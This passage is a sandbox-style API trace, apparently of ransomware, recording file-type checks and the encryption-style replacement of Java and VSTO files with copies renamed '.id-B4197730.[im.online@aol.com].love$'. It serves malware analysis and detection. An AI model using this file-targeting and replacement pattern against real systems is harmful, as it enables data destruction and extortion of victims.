lstrlenW (lpString=".rar") returned 4 [0229.566] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.566] lstrlenW (lpString=".bz2") returned 4 [0229.566] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.566] lstrlenW (lpString=".7z") returned 3 [0229.566] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.566] lstrlenW (lpString=".dbf") returned 4 [0229.566] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.566] lstrlenW (lpString=".1cd") returned 4 [0229.566] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.566] lstrlenW (lpString=".jpg") returned 4 [0229.566] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.567] lstrlenW (lpString=".doc") returned 4 [0229.567] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.567] lstrlenW (lpString=".docx") returned 5 [0229.567] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0229.567] lstrlenW (lpString=".pdf") returned 4 [0229.567] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.567] lstrlenW (lpString=".xls") returned 4 [0229.567] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.567] lstrlenW (lpString=".xlsx") returned 5 [0229.567] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0229.567] lstrlenW (lpString=".ppt") returned 4 [0229.567] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.567] lstrlenW (lpString=".zip") returned 4 [0229.567] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.567] lstrlenW (lpString=".rar") returned 4 [0229.567] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.567] lstrlenW (lpString=".bz2") returned 4 [0229.567] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.567] lstrlenW (lpString=".7z") returned 3 [0229.567] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.567] lstrlenW (lpString=".dbf") returned 4 [0229.567] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.567] lstrlenW (lpString=".1cd") returned 4 [0229.568] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0229.568] lstrlenW (lpString=".jpg") returned 4 [0229.568] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.568] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0229.568] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16 [0229.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.569] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=20608) returned 1 [0229.569] CloseHandle (hObject=0x404) returned 1 [0229.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0229.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.570] lstrlenW (lpString=".doc") returned 4 [0229.570] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.570] lstrlenW (lpString=".docx") returned 5 [0229.570] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0229.570] lstrlenW (lpString=".pdf") returned 4 [0229.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.570] lstrlenW (lpString=".xls") returned 4 [0229.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.570] lstrlenW (lpString=".xlsx") returned 5 [0229.570] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0229.570] lstrlenW (lpString=".ppt") returned 4 [0229.570] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.570] lstrlenW (lpString=".zip") returned 4 [0229.570] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.570] lstrlenW (lpString=".rar") returned 4 [0229.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.570] lstrlenW (lpString=".bz2") returned 4 [0229.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.571] lstrlenW (lpString=".7z") returned 3 [0229.571] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.571] lstrlenW (lpString=".dbf") returned 4 [0229.571] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.571] lstrlenW (lpString=".1cd") returned 4 [0229.571] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.571] lstrlenW (lpString=".jpg") returned 4 [0229.571] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.571] lstrlenW (lpString=".doc") returned 4 [0229.571] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.571] lstrlenW (lpString=".docx") returned 5 [0229.571] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0229.571] lstrlenW (lpString=".pdf") returned 4 [0229.571] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.571] lstrlenW (lpString=".xls") returned 4 [0229.571] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.571] lstrlenW (lpString=".xlsx") returned 5 [0229.571] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0229.571] lstrlenW (lpString=".ppt") returned 4 [0229.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.572] lstrlenW (lpString=".zip") returned 4 [0229.572] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.572] lstrlenW (lpString=".rar") returned 4 [0229.572] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.572] lstrlenW (lpString=".bz2") returned 4 [0229.572] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.572] lstrlenW (lpString=".7z") returned 3 [0229.572] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.572] lstrlenW (lpString=".dbf") returned 4 [0229.572] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.572] lstrlenW (lpString=".1cd") returned 4 [0229.572] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0229.572] lstrlenW (lpString=".jpg") returned 4 [0229.572] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.572] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0229.572] lstrlenW (lpString="VSTOInstaller.exe") returned 17 [0229.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.574] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=100488) returned 1 [0229.574] CloseHandle (hObject=0x404) returned 1 [0229.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0229.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0229.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0229.574] lstrlenW (lpString=".doc") returned 4 [0229.574] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0229.575] lstrlenW (lpString=".docx") returned 5 [0229.575] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0229.575] lstrlenW (lpString=".pdf") returned 4 [0229.575] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0229.575] lstrlenW (lpString=".xls") returned 4 [0229.575] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0229.575] lstrlenW (lpString=".xlsx") returned 5 [0229.575] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0229.575] lstrlenW (lpString=".ppt") returned 4 [0229.575] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0229.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0229.575] lstrlenW (lpString=".zip") returned 4 [0229.575] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0229.575] lstrlenW (lpString=".rar") returned 4 [0229.575] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0229.575] lstrlenW (lpString=".bz2") returned 4 [0229.575] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0229.575] lstrlenW (lpString=".7z") returned 3 [0229.575] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0229.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0229.575] lstrlenW (lpString=".dbf") returned 4 [0229.575] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0230.359] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=1026112) returned 1 [0230.359] CloseHandle (hObject=0x464) returned 1 [0230.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0230.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.360] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0230.361] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=77888) returned 1 [0230.361] CloseHandle (hObject=0x464) returned 1 [0230.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0230.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.362] lstrcmpiW (lpString1=".0_144\\COPYRIGHT", lpString2=".love$") returned -1 [0230.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0230.363] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3244) returned 1 [0230.363] CloseHandle (hObject=0x464) returned 1 [0230.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0230.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.364] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0230.364] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0230.364] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0230.364] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0230.365] GetLastError () returned 0x0 [0230.365] ReadFile (in: hFile=0x464, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xcac, lpOverlapped=0x0) returned 1 [0230.469] WriteFile (in: hFile=0x468, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xcb0, lpOverlapped=0x0) returned 1 [0230.470] ReadFile (in: hFile=0x464, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0230.470] WriteFile (in: hFile=0x468, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe6, lpOverlapped=0x0) returned 1 [0230.471] SetEndOfFile (hFile=0x468) returned 1 [0230.787] CloseHandle (hObject=0x468) returned 1 [0230.796] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0230.796] SetEndOfFile (hFile=0x464) returned 1 [0230.809] CloseHandle (hObject=0x464) returned 1 [0230.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0230.829] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0230.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.830] lstrlenW (lpString=".doc") returned 4 [0230.830] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0230.830] lstrlenW (lpString=".docx") returned 5 [0230.830] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0230.830] lstrlenW (lpString=".pdf") returned 4 [0230.830] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0230.830] lstrlenW (lpString=".xls") returned 4 [0230.830] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0230.830] lstrlenW (lpString=".xlsx") returned 5 [0230.830] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0230.830] lstrlenW (lpString=".ppt") returned 4 [0230.830] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0230.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.830] lstrlenW (lpString=".zip") returned 4 [0230.830] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0230.830] lstrlenW (lpString=".rar") returned 4 [0230.830] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0230.830] lstrlenW (lpString=".bz2") returned 4 [0230.831] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString=".7z") returned 3 [0230.831] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.831] lstrlenW (lpString=".dbf") returned 4 [0230.831] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.831] lstrlenW (lpString=".1cd") returned 4 [0230.831] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.831] lstrlenW (lpString=".jpg") returned 4 [0230.831] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.831] lstrlenW (lpString=".doc") returned 4 [0230.831] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString=".docx") returned 5 [0230.831] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0230.831] lstrlenW (lpString=".pdf") returned 4 [0230.831] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString=".xls") returned 4 [0230.831] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString=".xlsx") returned 5 [0230.831] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0230.831] lstrlenW (lpString=".ppt") returned 4 [0230.831] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0230.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.831] lstrlenW (lpString=".zip") returned 4 [0230.832] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0230.832] lstrlenW (lpString=".rar") returned 4 [0230.832] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0230.832] lstrlenW (lpString=".bz2") returned 4 [0230.832] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0230.832] lstrlenW (lpString=".7z") returned 3 [0230.832] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0230.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.832] lstrlenW (lpString=".dbf") returned 4 [0230.832] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0230.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.832] lstrlenW (lpString=".1cd") returned 4 [0230.832] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0230.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0230.832] lstrlenW (lpString=".jpg") returned 4 [0230.832] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0230.832] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0230.832] lstrlenW (lpString="calendars.properties") returned 20 [0230.832] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0230.833] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=1378) returned 1 [0230.833] CloseHandle (hObject=0x468) returned 1 [0230.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0230.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.834] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0230.834] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0230.834] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0230.834] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0230.868] GetLastError () returned 0x0 [0230.868] ReadFile (in: hFile=0x468, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x562, lpOverlapped=0x0) returned 1 [0230.895] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x570, lpOverlapped=0x0) returned 1 [0230.896] ReadFile (in: hFile=0x468, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0230.896] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xfc, lpOverlapped=0x0) returned 1 [0230.896] SetEndOfFile (hFile=0x484) 